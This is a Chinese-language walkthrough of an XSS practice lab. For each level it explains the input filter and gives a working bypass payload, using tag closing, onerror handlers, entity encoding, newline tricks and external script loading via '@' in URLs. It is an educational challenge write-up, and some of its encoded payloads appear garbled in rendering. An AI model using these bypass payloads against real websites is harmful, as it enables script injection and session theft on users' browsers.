目录
0x00
先看源码,没有任何限制,所以很简单,直接抛出一个常规的payload就过了
<script>alert(1)</script>
0x01
看源码里注入点是在<textarea></textarea>标签中的, 所以用上一题的方法是不会被解析的, 所以要去构造一个标签, 闭合<textarea></textarea>, 就可以注入
</textarea> <script>alert(1)</script> <textarea>
当然这个题也有其他的做法:利用error事件来绕过(因为src是空, 所以肯定会报错, 所以可以通过错误调用事件来成功注入xss):
</textarea><img src=""onerror=alert(1)>
0x02
看源码可以知道题目是想把值转化为字符串, 然后显示在输入框内, 这样前两题的标签闭合注入也就不行了,所以换个想法借鉴sql注入的方法, 将前面的双引号闭合, 然后注入新的标签:
"> <script>alert(1)</script>
和前面一样可以继续利用error来绕过
"> </textarea><img src=""onerror=alert(1)>
0x03
看题目,发现他将括号, 方括号都被过滤了,但是我们可以利用``来替代
<script>alert`1`</script>
0x04
刚才``能代替,现在这个也不行了
可以考虑利用编码来绕过
<img src="" onerror=alert(1)>
这里(代表“(”
)代表”)“
1代表”1“
0x05
我们可以知道注入点是注释符之间,但是注释符的后面被替换成?, 以此来防止注释被闭合;
但是这也难不倒我,我只需要知道注释符有两种方式
<-- XXXXXXXXX -->
<!-- XXXXXXXXX --!>
所以我们可以用第二种方法来绕开他
--!><script>alert(1)</script>
0x06
由题可知这个题考察的是正则表达式;;;分析一下括号里的(/auto|on.*=|>/ig, '_')
可知它匹配了: auto 、以on开头并且以=结尾的字符串、 >
所以过滤了autofocus和onerror等事件, 以及防止input标签被闭合
但是没有匹配换行符,那我们就用换行符来绕过
type="image" src="" onerror
=alert(1)
0x07
和上道题一样也是正则表达式,所以我们来分析等号后面的/<\/?[^>]+>/gi
中括号的用法: [abc] => 匹配abc中的任意一个
所以说[^>]的含义是匹配了除了^的任意字符的一次或者多次
所以总结的来说就是过滤了所有以/<\/?[">]开头>结尾的字符
所以我们在最后面不加>就可以正常绕过了
0x08
看题目很明显他过滤了</style>
标签导致无法闭合,所以用换行将它分开以绕过
</style
><img src="" onerror="alert(1)">
0x09
由题可知,这个题限制了URL,后面的一切按照正常的闭合就可以
https://www.segmentfault.com"></script><img src="" onerror="alert(1)
0x0A
由题可知这个题用到了@,它会在URL中会解析@后面的网址,使用 @ 会以 @ 前的字符串作为用户名来访问 @ 后面的网址
如果你的浏览器不行,那就换一个浏览器,火狐的是成功的
https://www.segmentfault.com@xss.haozi.me/j.js
0x0B
利用HTML实体编码进行绕过,它将所有的字母都换成了大写,所以要将alert(1)
进行HTML实体字符转换
<img src="" onerror="alert(1)">
0x0C
和上一道题差不多,只不过是这次过滤了script,并且将字母转为了大写,所以我们还是利用编码来绕过
<img src="" onerror="alert(1)">
0x0D
由题可知,这个题过滤了斜杠/,但是我们要闭合注释,所以我们需要使用换行的方式来绕过
alert(1)
-->
0x0E
分析题目可知,我们发现这个题和第十个题目很相似,也是需要指定到其他的地方来进行绕过的,所以将标签里的第一个字母前加上_
,并且在h1标签里,并且用阿拉伯字母ſ
替换s的大写
<ſcript src="https://xss.haozi.me/j.js" ></script>
0x0F
分析题目可以将一些符号进行编码,所以就直接考虑将src闭合就好
看起来使用了HTML实体编码来防止xss,但是了解浏览器解析规则(顺序)即可知道在属性值中的HTML实体编码会被浏览器成功解析,所以此处的HTML实体编码毫无用处
a'),alert(1)//
0x10
分析题目可知:此题我们什么都不用干,直接输入就可以
alert(1)
0x11
分析题目可知此处过滤后得到的字符其实还与原字符有着相同的作用(例如: " 被换成了 \" ,其实真正被转义的字符是第二个 \ ,而不是 "),所以此处的过滤也是毫无用处,和上面那个题一样
"),alert(1)//
0x12
分析题目可知与上一关卡同理,此处的过滤也是毫无用处,使用转义符号将先将\转义
\"),alert(1)//